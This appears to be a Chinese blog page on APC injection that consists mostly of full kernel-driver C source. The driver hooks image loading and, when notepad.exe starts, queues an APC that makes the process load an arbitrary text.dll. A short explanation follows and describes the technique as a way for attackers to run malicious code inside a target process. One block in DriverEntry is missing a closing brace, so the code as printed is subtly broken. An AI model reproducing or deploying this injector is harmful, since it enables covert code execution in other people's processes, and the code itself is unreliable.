APC注入

/***********************************
desc : This code was written for inject a dll named text.dll to the target process based on APC.
time : 2013
coder: ejoywx
***********************************/
#include <ntddk.h>
#include <ntimage.h>
 
#ifndef SEC_IMAGE
#define SEC_IMAGE   0x1000000     // winnt
#endif
 
extern PUSHORT NtBuildNumber;
 
PVOID pfn_XxxDispatchAPC  = NULL;
PVOID pfn_LoadLibraryA    = NULL;
PVOID pszText_Kernel32    = NULL;
 
ULONG Offset_szText = 0;
ULONG Offset_LoadLibraryA = 0;
ULONG Offset_BaseDispatchAPC = 0;
ULONG Offset_RtlDispatchAPC = 0;
 
UNICODE_STRING gModuleName[] =
{
     RTL_CONSTANT_STRING(L "\\systemroot\\system32\\ntdll.dll" ),
     RTL_CONSTANT_STRING(L "\\systemroot\\system32\\kernel32.dll" ),
     RTL_CONSTANT_STRING(L "\\WINDOWS\\system32\\kernel32.dll" ),
     RTL_CONSTANT_STRING(L "\\systemroot\\system\\text.dll" ),
     RTL_CONSTANT_STRING(L "\\Device\\HarddiskVolume1\\WINDOWS\\system32\\notepad.exe" )
};                               
 
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader(
     PVOID Base
     );
 
NTSYSAPI
PVOID
NTAPI
RtlImageDirectoryEntryToData(
     PVOID BaseOfImage,
     BOOLEAN MappedAsImage,
     USHORT DirectoryEntry,
     PULONG Size
     );
 
NTSTATUS (NTAPI* pfn_NtQueueApcThread)(
     __in HANDLE     ThreadHandle,
     __in PVOID      ApcRoutine,
     __in_opt PVOID  ApcArgument1,
     __in_opt PVOID  ApcArgument2,
     __in_opt PVOID  ApcArgument3
     );
 
PVOID NTAPI 
TlLoadSysPEtoMem(
     IN PUNICODE_STRING FilePath
     )
{
     OBJECT_ATTRIBUTES   ObjectAttributes = {0};
     IO_STATUS_BLOCK     IoStatusBlock    = {0};
     HANDLE              FileHandle       = NULL;
     HANDLE              SectionHandle    = NULL;
     PVOID               ViewBase         = NULL;
     PVOID               MemBase          = NULL;
     SIZE_T              ViewSize         = 0;
     NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
     InitializeObjectAttributes( &ObjectAttributes,
                                 FilePath,
                                 OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                 NULL,
                                 NULL );
 
     Status = ZwOpenFile (  &FileHandle,
                             FILE_GENERIC_READ,
                             &ObjectAttributes,
                             &IoStatusBlock,
                             FILE_SHARE_READ|FILE_SHARE_WRITE,
                             FILE_NON_DIRECTORY_FILE );
     if ( NT_SUCCESS( Status ) )
     {
         InitializeObjectAttributes( &ObjectAttributes,
                                     NULL,
                                     OBJ_KERNEL_HANDLE,
                                     NULL,
                                     NULL );
         Status = ZwCreateSection(   &SectionHandle,
                                     SECTION_MAP_READ,
                                     &ObjectAttributes,
                                     (PLARGE_INTEGER)NULL,
                                     PAGE_READONLY,
                                     SEC_IMAGE,
                                     FileHandle);
         if ( NT_SUCCESS( Status ) )
         {
             Status = ZwMapViewOfSection(SectionHandle,
                                         ZwCurrentProcess(),
                                         &ViewBase,
                                         0L,
                                         PAGE_SIZE,
                                         NULL,
                                         &ViewSize,
                                         ViewUnmap,
                                         MEM_TOP_DOWN,
                                         PAGE_READWRITE);
                                         
             if ( NT_SUCCESS( Status ) )
             {
                 MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC' );
                 if ( MemBase )
                 {
                     RtlMoveMemory( MemBase, ViewBase, ViewSize );
                 }
                 
                 ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
             }
 
             ZwClose( SectionHandle );
         }
         
         ZwClose( FileHandle );
     }
 
     return MemBase;
}
 
PVOID NTAPI 
TlMapKnownDlltoMem(
     IN PUNICODE_STRING FilePath
     )
{
     OBJECT_ATTRIBUTES   ObjectAttributes = {0};
     HANDLE              SectionHandle    = NULL;
     PVOID               ViewBase         = NULL;
     PVOID               MemBase          = NULL;
     SIZE_T              ViewSize         = 0;
     NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
     InitializeObjectAttributes( &ObjectAttributes,
                                 FilePath,
                                 OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                 NULL,
                                 NULL );
     Status = ZwOpenSection( &SectionHandle,
                     SECTION_MAP_READ,
                     &ObjectAttributes
                     );
     if ( NT_SUCCESS( Status ) )
     {
         Status = ZwMapViewOfSection(SectionHandle,
                             ZwCurrentProcess(),
                             &ViewBase,
                             0L,
                             PAGE_SIZE,
                             NULL,
                             &ViewSize,
                             ViewUnmap,
                             MEM_TOP_DOWN,
                             PAGE_READWRITE );
         
         if ( NT_SUCCESS( Status ) )
         {
             MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC' );
             if ( MemBase )
             {
                 RtlMoveMemory( MemBase, ViewBase, ViewSize );
             }
             
             ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
         }
 
         ZwClose( SectionHandle );
     }
 
     return MemBase;
}
 
PVOID NTAPI 
TlGetProcAddress(
     IN PVOID ImageBase,
     IN PUCHAR ApiName
     )
{
     PIMAGE_EXPORT_DIRECTORY ExpDir  = NULL;
     PULONG          AddressOfNames  = NULL;
     PULONG      AddressOfFunctions  = NULL;
     PUSHORT  AddressOfNameOrdinals  = NULL;
     PVOID              FuncAddress  = NULL;
     ULONG               ExpDirSize  = 0;
     ULONG            NumberOfNames  = 0; 
 
     LONG                    Idx     = 0;
     LONG                    ret     = 0;
     LONG                    low     = 0;
     LONG                    mid     = 0;
     LONG                    high    = 0;
     PCHAR                   pName   = NULL;
     
     if ( !ImageBase ) return NULL;
     
     ExpDir = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_EXPORT,&ExpDirSize );
     if ( ExpDir  )
     {
         AddressOfNames          = ( PULONG )( ( ULONG )ImageBase + ExpDir->AddressOfNames );
         AddressOfFunctions      = ( PULONG )( ( ULONG )ImageBase + ExpDir->AddressOfFunctions );
         AddressOfNameOrdinals   = ( PUSHORT )( ( ULONG )ImageBase + ExpDir->AddressOfNameOrdinals );
         NumberOfNames           = ExpDir->NumberOfNames;
         
         if ( ( ULONG )ApiName & 0xFFFF0000 )
         {
             high = NumberOfNames-1;
             while (low <= high) //二分查找,快速定位
             {
                 mid   = (high+low)>>1;
                 pName = ( PCHAR )ImageBase+AddressOfNames[mid] ;
 
                 Idx = 0;
                 while ( pName[Idx] && pName[Idx] == ApiName[Idx] )
                 {
                     ++Idx;
                 }
 
                 ret = pName[Idx] - ApiName[Idx];
                 if ( ret==0 )
                 {
                     ( PUCHAR )FuncAddress=( PUCHAR )ImageBase + AddressOfFunctions[ AddressOfNameOrdinals[ mid ] ];
 
                     break ;
                 }
                 else if ( ret > 0 )
                 {
                     high=mid-1;
                 }
                 else
                 {
                     low=mid+1;
                 }
             }
         }
         else
         {
             ( PUCHAR )FuncAddress=( PUCHAR )ImageBase + AddressOfFunctions[ ( ULONG )ApiName & 0x0FFFF ];
         }       
     }   
 
     return FuncAddress;
}
 
ULONG NTAPI //just for winxp/win2003
GetOffsetForXxxDispatchApc(
     IN PVOID pfn_QueueUserApc,
     IN PVOID ImageBase
     )
{
     ULONG   Offset = 0;
     PUCHAR  pMem   = ( PUCHAR )pfn_QueueUserApc;
     PUCHAR  pLim   = ( PUCHAR )pfn_QueueUserApc + 0x100;
     
     while ( pMem < pLim && *( PULONG )pMem != 0x90000CC2 ) pMem++;
     
     if ( *( PULONG )pMem == 0x90000CC2 )
     {
         pLim   = ( PUCHAR )pfn_QueueUserApc;
         while ( (--pMem) > pLim )
         {
             if ( *( PUSHORT )pMem == 0x75FF && *( PUSHORT )(pMem+3) == 0x15FF  && *(pMem-5) == 0x68 )
             {
                 Offset  = *( PULONG )(pMem-4) - ( ULONG )ImageBase;               
                 break ;
             }
         }
     }
     
     return Offset;
}
 
ULONG NTAPI
GetOffsetForSpecialText(
     IN PVOID ImageBase,
     IN PCSTR szText
     )
{
     ULONG   Offset = 0;
     PUCHAR  pMem   = ( PUCHAR )ImageBase;
     PUCHAR  pLim   = ( PUCHAR )ImageBase + 0x400;
     
     while ( pMem < pLim )
     {
         if ( _stricmp( szText, pMem) == 0 )
         {
             Offset = ( ULONG )(pMem-( PUCHAR )ImageBase);
             break ;
         }
         
         pMem++;
     }   
     
     return Offset;
}
 
PVOID NTAPI
TlBuildNtFunc(
     IN ULONG ServiceId
     )
{
     PVOID   NtFunc = NULL;
     PVOID   pfn_KiSystemService;
     PVOID   pfn_ZwQueryKey;       
     UNICODE_STRING RoutineName;
         
     RtlInitUnicodeString( &RoutineName, L "ZwQueryKey" );       
     pfn_ZwQueryKey = MmGetSystemRoutineAddress( &RoutineName );
     
     if ( pfn_ZwQueryKey )
     {
         NtFunc = ExAllocatePoolWithTag( NonPagedPool, 32, ' dmC' );        
         if ( NtFunc )
         {
             ( PUCHAR )pfn_KiSystemService = ( PUCHAR )pfn_ZwQueryKey + 12 + 5 + *( PULONG )(( PUCHAR )pfn_ZwQueryKey + 12 + 1);
             
             RtlFillMemory( NtFunc, 32, 0xCC );       
             RtlMoveMemory( NtFunc, pfn_ZwQueryKey, 20 );
 
             *( PULONG )(( PUCHAR )NtFunc + 12 + 1 ) = ( ULONG )(( PUCHAR )pfn_KiSystemService - (( PUCHAR )NtFunc + 12 + 5));
             *( PULONG )(( PUCHAR )NtFunc + 1 ) = ServiceId;
         }    
     }
     
     return NtFunc;
}
 
BOOLEAN NTAPI
TlCheckFileExist(
     IN PUNICODE_STRING FileName
)
{
     OBJECT_ATTRIBUTES   ObjectAttributes = {0};
     IO_STATUS_BLOCK     IoStatusBlock    = {0};
     HANDLE              FileHandle       = NULL;
     NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
     InitializeObjectAttributes( &ObjectAttributes,
                                 FileName,
                                 OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                 NULL,
                                 NULL );
 
     Status = ZwOpenFile (  &FileHandle,
                             FILE_GENERIC_READ,
                             &ObjectAttributes,
                             &IoStatusBlock,
                             FILE_SHARE_READ|FILE_SHARE_WRITE,
                             FILE_NON_DIRECTORY_FILE );
                     
     if ( NT_SUCCESS( Status ) )
     {     
         ZwClose( FileHandle );
     }
     
     return NT_SUCCESS( Status );
}
 
VOID
LoadImageNotifyRoutine(
     IN PUNICODE_STRING  FullImageName,
     IN HANDLE           ProcessId,
     IN PIMAGE_INFO      ImageInfo
     )
{      
     if ( !pfn_XxxDispatchAPC || !pfn_LoadLibraryA || !pszText_Kernel32 )
     {       
         if ( !pfn_LoadLibraryA || !pszText_Kernel32 )
         {
             if ( RtlCompareUnicodeString( FullImageName, &gModuleName[2], TRUE ) == 0 )
             {
                 ( PUCHAR )pfn_LoadLibraryA  = ( PUCHAR )ImageInfo->ImageBase + Offset_LoadLibraryA;
                 ( PUCHAR )pszText_Kernel32  = ( PUCHAR )ImageInfo->ImageBase + Offset_szText;
                 
                 if ( Offset_BaseDispatchAPC )
                 {
                     ( PUCHAR )pfn_XxxDispatchAPC= ( PUCHAR )ImageInfo->ImageBase + Offset_BaseDispatchAPC;
                 }
             }
         }
         
         if ( Offset_RtlDispatchAPC && !pfn_XxxDispatchAPC )
         {
             if ( RtlCompareUnicodeString( FullImageName, &gModuleName[0], TRUE ) == 0 )
             {
                 ( PUCHAR )pfn_XxxDispatchAPC= ( PUCHAR )ImageInfo->ImageBase + Offset_RtlDispatchAPC;
             }
         }
     }
     else if ( pfn_NtQueueApcThread )
     {
         if ( RtlCompareUnicodeString( FullImageName, &gModuleName[4], TRUE ) == 0 )
         {
             pfn_NtQueueApcThread(
                     ZwCurrentThread(),
                     pfn_XxxDispatchAPC,
                     pfn_LoadLibraryA,
                     pszText_Kernel32,
                     NULL );
         }
     }
}
 
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
     PsRemoveLoadImageNotifyRoutine( LoadImageNotifyRoutine );
     
     ExFreePool( pfn_NtQueueApcThread );
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{   
     NTSTATUS Status = 0; 
     ULONG ServiceId = -1;    
     PVOID ImageBase_Ntdll ;
     PVOID ImageBase_Kernel;   
     PVOID pfn;
     
     ImageBase_Ntdll = TlLoadSysPEtoMem( &gModuleName[0] );
     if ( ImageBase_Ntdll )
     {
         pfn = TlGetProcAddress( ImageBase_Ntdll, "NtQueueApcThread" );
         if ( pfn )
         {
             ServiceId = *( PULONG )(( PUCHAR )pfn + 1 );
         }
         
         if ( *NtBuildNumber == 7601 )
         {
             pfn = TlGetProcAddress( ImageBase_Ntdll, ( PUCHAR )7 );
             if ( pfn )
             {
                 Offset_RtlDispatchAPC = ( ULONG )pfn - ( ULONG )ImageBase_Ntdll;
            
         }     
         
         ExFreePool( ImageBase_Ntdll );
     }
     
     ImageBase_Kernel = TlLoadSysPEtoMem( &gModuleName[1] );
     if ( ImageBase_Kernel )
     {
         PIMAGE_NT_HEADERS NtHdrs = RtlImageNtHeader( ImageBase_Kernel );
         
         if ( *NtBuildNumber == 2600 )
         {
             pfn = TlGetProcAddress( ImageBase_Kernel, "QueueUserAPC" );
             if ( pfn )
             {
                 Offset_BaseDispatchAPC = GetOffsetForXxxDispatchApc( pfn, ( PVOID )NtHdrs->OptionalHeader.ImageBase);
             }
         }
         
         pfn = TlGetProcAddress( ImageBase_Kernel, "LoadLibraryA" );
         if ( pfn )
         {
             Offset_LoadLibraryA = ( ULONG )pfn - ( ULONG )ImageBase_Kernel;
         }       
         
         Offset_szText = GetOffsetForSpecialText( ( PUCHAR )ImageBase_Kernel, "text" );
          
         ExFreePool( ImageBase_Kernel );
     }
     
     Status = STATUS_NOT_SUPPORTED;
     if ( Offset_LoadLibraryA && Offset_szText && (Offset_BaseDispatchAPC || Offset_RtlDispatchAPC) && ServiceId != -1 )
     {
         Status = STATUS_NO_SUCH_FILE;
         //确保文件"systemroot\system\text.dll"存在
         if ( TlCheckFileExist( &gModuleName[3] ) )
         {
             pfn_NtQueueApcThread = TlBuildNtFunc( ServiceId ); 
         }     
     }
     
     if ( pfn_NtQueueApcThread )
     {
         Status = PsSetLoadImageNotifyRoutine( LoadImageNotifyRoutine );;
     }
     
     if ( !NT_SUCCESS(Status) && pfn_NtQueueApcThread )
     {
         ExFreePool( pfn_NtQueueApcThread );
     }
     
     DriverObject->DriverUnload = DriverUnload;
     return Status;
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Windows APC(Asynchronous Procedure Call)注入是一种常见的注入技术,它利用了 Windows 操作系统中的异步过程调用机制来实现注入。具体原理如下: 1. 创建目标进程 首先,攻击者需要创建一个目标进程,该进程将作为注入目标。一般情况下,攻击者会选择一个易受攻击的进程,例如 Windows Explorer。 2. 分配内存空间 攻击者需要在目标进程中分配一块内存空间,用于存放要注入的代码。可以使用 VirtualAllocEx 等函数来实现。 3. 编写注入代码 接下来,攻击者需要编写注入代码,并将其写入到之前分配的内存空间中。注入代码通常是一个 DLL 文件,其中包含了攻击者想要执行的恶意代码。同时,在注入代码中还需要将恶意代码的入口点指向一个 APC 回调函数。 4. 调用 QueueUserAPC 函数 接下来,攻击者需要在目标进程中的某个线程上调用 QueueUserAPC 函数,并将之前分配的内存空间中的 APC 回调函数作为参数。这样,当目标进程的线程下一次进入 Alertable 状态时,它将执行注入代码中的 APC 回调函数。 5. 触发注入 最后,攻击者需要触发目标进程中的线程进入 Alertable 状态。可以使用 Sleep、WaitForSingleObject 等函数来实现。 总之,APC 注入技术是一种高级的注入技术,攻击者可以通过它将恶意代码注入到目标进程中,并在其中执行。然而,这种技术也有一定的局限性,例如无法注入到特权级较高的进程中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值